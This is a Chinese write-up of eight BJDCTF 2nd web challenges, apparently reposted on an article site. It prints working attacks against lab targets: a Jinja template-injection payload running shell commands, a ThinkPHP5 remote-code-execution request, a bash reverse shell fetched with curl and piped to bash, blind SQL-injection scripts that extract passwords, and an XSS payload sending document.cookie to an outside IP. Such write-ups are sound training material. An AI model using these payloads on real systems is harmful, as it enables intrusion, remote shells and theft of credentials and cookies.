[BJDCTF 2nd] WEB 简单题汇总

2024-01-23 21:32
文章标签 简单 web 汇总 bjdctf 2nd

本文主要是介绍[BJDCTF 2nd] WEB 简单题汇总,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

Web简单题复现

  • [BJDCTF 2nd]fake google
    • 方法一:
    • 方法二:
  • [BJDCTF 2nd]old-hack
  • [BJDCTF 2nd]duangShell
  • [BJDCTF 2nd]简单注入
    • 方法一:
    • 方法二:
    • 方法三:
  • [BJDCTF 2nd]假猪套天下第一
  • [BJDCTF 2nd]Schrödinger
  • [BJDCTF 2nd]xss之光
  • [BJDCTF 2nd]elementmaster


看了看杂项的题目,我发现web的脑洞就是个弟弟

[BJDCTF 2nd]fake google

在这里插入图片描述
经过测试,存在xss和模板注入,这题是模板注入

方法一:

参考文献

在这里插入图片描述


<class ‘os._wrap_close’>,os命令相信你看到就感觉很亲切。我们正是要从这个类中寻找我们可利用的方法,通过大概猜测找到是第119个类,0也对应一个类,所以这里写[118]。
可以发现是存在这个类的
在这里插入图片描述
接下来用脚本跑索引

import requestsurl ="http://67a8fe61-a3c7-42f4-85ae-f8e301bd7f30.node3.buuoj.cn/qaq"
temp={}
for i in range(1000):url = "http://537306c0-5737-4a8b-8db5-8fd5c2362b4f.node3.buuoj.cn/qaq?name={{\"\".__class__.__bases__[0].__subclasses__()[%d]}}" % ir = requests.get(url)print (url)print(r.text)if "os._wrap_close" in r.text:print(url)print(r.text)break

索引是117
接下来测试看看能不能命令执行
payload

{{"".__class__.__bases__[0].__subclasses__()[117].__init__.__globals__['popen']('ls /').read()}}

在这里插入图片描述
成功查看根目录下文件,可以发现flag文件在根目录下,查看即可

方法二:

网上看到的第二个方法(其实就是写个python进去找索引,emmm,对于现在的我来说可能想不到这种注入,只能写脚本跑了)

{% for c in [].__class__.__base__.__subclasses__() %}
{%if%20c.__name__=='catch_warnings'%27'%}
{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('ls /').read()")}}
{%endif%}
{% endfor %}


[BJDCTF 2nd]old-hack

在这里插入图片描述

题目已提示是thinkphp5,自行去搜thinkphp5的漏洞,会找到对应版本,
参考文献

根据参考文献
可得出payload:

get请求
s=captcha
post请求
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=ls /

在这里插入图片描述
查看根目录下的flag即可




[BJDCTF 2nd]duangShell

在这里插入图片描述

题目已提示是swp备份文件泄露
.index.php.swp 即可拿到备份源码
vim -r 打开 解析即可

<html lang="en">
<head><meta charset="UTF-8"><title>give me a girl</title>
</head>
<body><center><h1>珍爱网</h1></center>
</body>
</html>
<?php
error_reporting(0);
echo "how can i give you source code? .swp?!"."<br>";
if (!isset($_POST['girl_friend'])) {die("where is P3rh4ps's girl friend ???");
} else {$girl = $_POST['];if (preg_match('/\>|\\\/', $girl)) {die('just girl');} else if (preg_match('/ls|phpinfo|cat|\%|\^|\~|base64|xxd|echo|\$/i', $girl)) {echo "<img src='img/p3_need_beautiful_gf.png'> <!-- He is p3 -->";} else {//duangShell~~~~exec($girl);}
}

emmmmm,过滤了很多东西,当时做到这无从下手,只能看web了,新知识,反弹shell,在buu上因为内网的原因,这题需要用内网开linux靶机,弄了比较长的时间
参考文献

因为exec()不会回显(之前一直琢磨怎么让他回显。。。)反弹shell能够解决而且又没有过滤curl。
先在/var/www/html,创建一个shell.txt文件
输入的命令为:

bash -i >& /dev/tcp/ip/port 0>&1

ip 为内网主机的ip地址,port为端口,随便输(这里以端口为2333为例)

再传post值

girl_friend=curl http://内网ip/shell.txt|bash

再nc

nc -lvp 2333

学到一个新指令

find / -name flag

找到flag所在目录查看即可


[BJDCTF 2nd]简单注入

在这里插入图片描述
首先先测试看看他过滤了啥
在这里插入图片描述
发现过滤了以下指令

union , select , = , ' , & , && , - ,  " , and 

(当时看到分号被过滤了,顿时不想做了)

首先联合注入肯定是不行的,试了试报错注入,没有报错回显

考虑盲注(我构造的盲注语句好像不行,只能看web了)

方法一:

新知识(正则表达式注入)
参考文献
由于过滤了双引号,新东西:
BINARY 运算符将紧随其后的 string 转换为 二进制字符串
好像用二分法跑比较麻烦,只能遍历了。。。。。

import requestsurl ="http://b688f906-6a48-48c8-af28-74052e3b3905.node3.buuoj.cn"
temp={}
password =""
string = [ord(i) for i in 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789']
a = '0x5e'for i in range(100):for j in string:str = hex(j).replace('0x', '')# 查用户名username = "or username regexp binary %s #" % (a + str)print(username)data = {"username": "\\", "password": username}# 查密码#payload = "or password regexp binary %s #" % (a + str) #print(payload)#data={"username" :"\\","password" : payload }r = requests.post(url,data=data)#print(r.text)if "BJD needs to be stronger" in r.text:password +=chr(j)print(password)a+=strbreakif "You konw ,P3rh4ps needs a girl friend" in r.text:breakprint(password)

根据上面的查询到用户名以及密码,直接登录即可

方法二:

转义单引号
在这里插入图片描述
可以发现password逃逸出去了

payload:

password=or 1 #&username=admin\

在这里插入图片描述
输入进去可以发现下面的回显不一样了
payload:

password=^ (ascii(substr((password),1,1))>1)#&username=admin\

可以直接异或,长知识了

接下来上脚本:(二分法跑)

import requests
import timeurl = "http://aed2ff9b-a59f-4192-94ce-362ee82b9d30.node3.buuoj.cn/index.php"
temp = {}
password = ""
for i in range(1,1000):time.sleep(0.06)low = 32high =128mid = (low+high)//2while(low<high):payload = '^ (ascii(substr((password),%d,1))>%d)#' % (i,mid)temp={"username":"admin\\","password": payload}r = requests.post(url,data=temp)print(low,high,mid,":")if "P3rh4ps" in r.text:low = mid+1else:high = midmid =(low+high)//2if(mid ==32 or mid ==127):breakpassword +=chr(mid)print(password)print("password=",password)

方法三:

时间盲注,
csdn参考文献


[BJDCTF 2nd]假猪套天下第一

在这里插入图片描述

刚开始以为是sql注入,后来抓包的时候看到了隐藏文件(访问源代码也可以)
在这里插入图片描述
有个 L0g1n.php的页面,进去看看,记得刷新一下页面
在这里插入图片描述
要修改时间,放到burp中,
起初以为是data,看到cookie里有个time的值,修改后
在这里插入图片描述
要从本地访问,有三种X-Forwarded-For,X-Forwarded-Host,CLIENT-IP,host
这里只能用CLIENT-IP或者X-Real-IP
剩下的不说了,就按照提示来就行了,改http头就行
参考文献
这里要说下Commodo 64这个浏览器,谷歌搜索
在这里插入图片描述
真正的名字是 Commodore 64
最后的http头如下
在这里插入图片描述
base64解密即可


[BJDCTF 2nd]Schrödinger

这题脑洞太大了
自行参考
在这里插入图片描述
可以发现隐藏了test.php,进去之后是一段登录,但是这题并不是要你sql注入
我们返回主页看看
在这里插入图片描述
主页的英文翻译提示我们可以爆破密码
将test.php放到下面input
再check抓包

在这里插入图片描述
可以发现cookie值多了个时间戳(base64解码即可得到)
将时间戳置空
在这里插入图片描述
弹出av号,去b站搜,评论区就有


[BJDCTF 2nd]xss之光

在这里插入图片描述

用kali自带的dirb扫描目录,发现是.git泄露
使用githack得到源码

<?php
$a = $_GET['yds_is_so_beautiful'];
echo unserialize($a);

没有类的情况下,可以进行原生类反序列化

参考文献
可以使用Exception类进行构造

$a = new Exception("<script>alert(document.cookie)</script>");
echo urlencode(serialize($a));

赵老板赛后应该改了一下源码,这段js,我看别的web试出来了。
payload:

<?php
$a = serialize(new Exception("<script>window.location.href='IP'+document.cookie</script>"));
echo urlencode($a);
?>

返回抓包的时候发现弹出cookie
在这里插入图片描述


[BJDCTF 2nd]elementmaster

脑洞题

查看源代码,发现id的值不太对劲,进行十六进制转字符窜
Po.php进去之后啥都没有,看看图片,提到了放射性元素,Po刚好是化学元素
在这里插入图片描述
可能要我们遍历化学元素。。。。
(据说这道题是美国的一道原题改的,还改简单了)

接下来上我的垃圾脚本,

import requests
import timelist = ['H', 'He', 'Li', 'Be', 'B', 'C', 'N', 'O', 'F', 'Ne', 'Na', 'Mg', 'Al', 'Si', 'P', 'S', 'Cl', 'Ar','K', 'Ca', 'Sc', 'Ti', 'V', 'Cr', 'Mn', 'Fe', 'Co', 'Ni', 'Cu', 'Zn', 'Ga', 'Ge', 'As', 'Se', 'Br', 'Kr', 'Rb', 'Sr', 'Y', 'Zr', 'Nb', 'Mo', 'Te', 'Ru', 'Rh', 'Pd', 'Ag', 'Cd', 'In', 'Sn', 'Sb', 'Te', 'I', 'Xe', 'Cs', 'Ba', 'La', 'Ce', 'Pr', 'Nd', 'Pm', 'Sm', 'Eu', 'Gd', 'Tb', 'Dy', 'Ho', 'Er', 'Tm', 'Yb', 'Lu', 'Hf', 'Ta', 'W', 'Re', 'Os', 'Ir', 'Pt', 'Au', 'Hg', 'Tl', 'Pb', 'Bi', 'Po', 'At', 'Rn', 'Fr', 'Ra', 'Ac', 'Th', 'Pa', 'U', 'Np', 'Pu', 'Am', 'Cm', 'Bk', 'Cf', 'Es', 'Fm','Md', 'No', 'Lr', 'Rf', 'Db', 'Sg', 'Bh', 'Hs', 'Mt', 'Ds', 'Rg', 'Cn', 'Nh', 'Fl', 'Mc', 'Lv', 'Ts', 'Og', 'Uue']
t =""
for i in list:url = "http://cfddf3d4-983f-4513-9a40-9f65cbcf45e4.node3.buuoj.cn/"time.sleep(0.06)i+=".php"print(i)url= url+iprint(url)print('\n')r = requests.get(url)if r.status_code == 200:t += r.textprint(t)print(t)
url = "http://cfddf3d4-983f-4513-9a40-9f65cbcf45e4.node3.buuoj.cn/"
print(url+t)

跑出来后
在这里插入图片描述
进入链接即可

这篇关于[BJDCTF 2nd] WEB 简单题汇总的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/637589

相关文章

csu 1446 Problem J Modified LCS (扩展欧几里得算法的简单应用)

这是一道扩展欧几里得算法的简单应用题,这题是在湖南多校训练赛中队友ac的一道题,在比赛之后请教了队友,然后自己把它a掉 这也是自己独自做扩展欧几里得算法的题目 题意:把题意转变下就变成了:求d1*x - d2*y = f2 - f1的解,很明显用exgcd来解 下面介绍一下exgcd的一些知识点:求ax + by = c的解 一、首先求ax + by = gcd(a,b)的解 这个

hdu2289(简单二分)

虽说是简单二分,但是我还是wa死了  题意:已知圆台的体积,求高度 首先要知道圆台体积怎么求:设上下底的半径分别为r1,r2,高为h,V = PI*(r1*r1+r1*r2+r2*r2)*h/3 然后以h进行二分 代码如下: #include<iostream>#include<algorithm>#include<cstring>#include<stack>#includ

usaco 1.3 Prime Cryptarithm(简单哈希表暴搜剪枝)

思路: 1. 用一个 hash[ ] 数组存放输入的数字,令 hash[ tmp ]=1 。 2. 一个自定义函数 check( ) ,检查各位是否为输入的数字。 3. 暴搜。第一行数从 100到999,第二行数从 10到99。 4. 剪枝。 代码: /*ID: who jayLANG: C++TASK: crypt1*/#include<stdio.h>bool h

uva 10387 Billiard(简单几何)

题意是一个球从矩形的中点出发,告诉你小球与矩形两条边的碰撞次数与小球回到原点的时间,求小球出发时的角度和小球的速度。 简单的几何问题,小球每与竖边碰撞一次,向右扩展一个相同的矩形;每与横边碰撞一次,向上扩展一个相同的矩形。 可以发现,扩展矩形的路径和在当前矩形中的每一段路径相同,当小球回到出发点时,一条直线的路径刚好经过最后一个扩展矩形的中心点。 最后扩展的路径和横边竖边恰好组成一个直

Java Web指的是什么

Java Web指的是使用Java技术进行Web开发的一种方式。Java在Web开发领域有着广泛的应用,主要通过Java EE(Enterprise Edition)平台来实现。  主要特点和技术包括: 1. Servlets和JSP:     Servlets 是Java编写的服务器端程序,用于处理客户端请求和生成动态网页内容。     JSP(JavaServer Pages)

poj 1113 凸包+简单几何计算

题意: 给N个平面上的点,现在要在离点外L米处建城墙,使得城墙把所有点都包含进去且城墙的长度最短。 解析: 韬哥出的某次训练赛上A出的第一道计算几何,算是大水题吧。 用convexhull算法把凸包求出来,然后加加减减就A了。 计算见下图: 好久没玩画图了啊好开心。 代码: #include <iostream>#include <cstdio>#inclu

uva 10130 简单背包

题意: 背包和 代码: #include <iostream>#include <cstdio>#include <cstdlib>#include <algorithm>#include <cstring>#include <cmath>#include <stack>#include <vector>#include <queue>#include <map>

BUUCTF靶场[web][极客大挑战 2019]Http、[HCTF 2018]admin

目录   [web][极客大挑战 2019]Http 考点:Referer协议、UA协议、X-Forwarded-For协议 [web][HCTF 2018]admin 考点:弱密码字典爆破 四种方法:   [web][极客大挑战 2019]Http 考点:Referer协议、UA协议、X-Forwarded-For协议 访问环境 老规矩,我们先查看源代码

EasyPlayer.js网页H5 Web js播放器能力合集

最近遇到一个需求,要求做一款播放器,发现能力上跟EasyPlayer.js基本一致,满足要求: 需求 功性能 分类 需求描述 功能 预览 分屏模式 单分屏(单屏/全屏) 多分屏(2*2) 多分屏(3*3) 多分屏(4*4) 播放控制 播放(单个或全部) 暂停(暂停时展示最后一帧画面) 停止(单个或全部) 声音控制(开关/音量调节) 主辅码流切换 辅助功能 屏

9.8javaweb项目总结

1.主界面用户信息显示 登录成功后,将用户信息存储在记录在 localStorage中,然后进入界面之前通过js来渲染主界面 存储用户信息 将用户信息渲染在主界面上,并且头像设置跳转,到个人资料界面 这里数据库中还没有设置相关信息 2.模糊查找 检测输入框是否有变更,有的话调用方法,进行查找 发送检测请求,然后接收的时候设置最多显示四个类似的搜索结果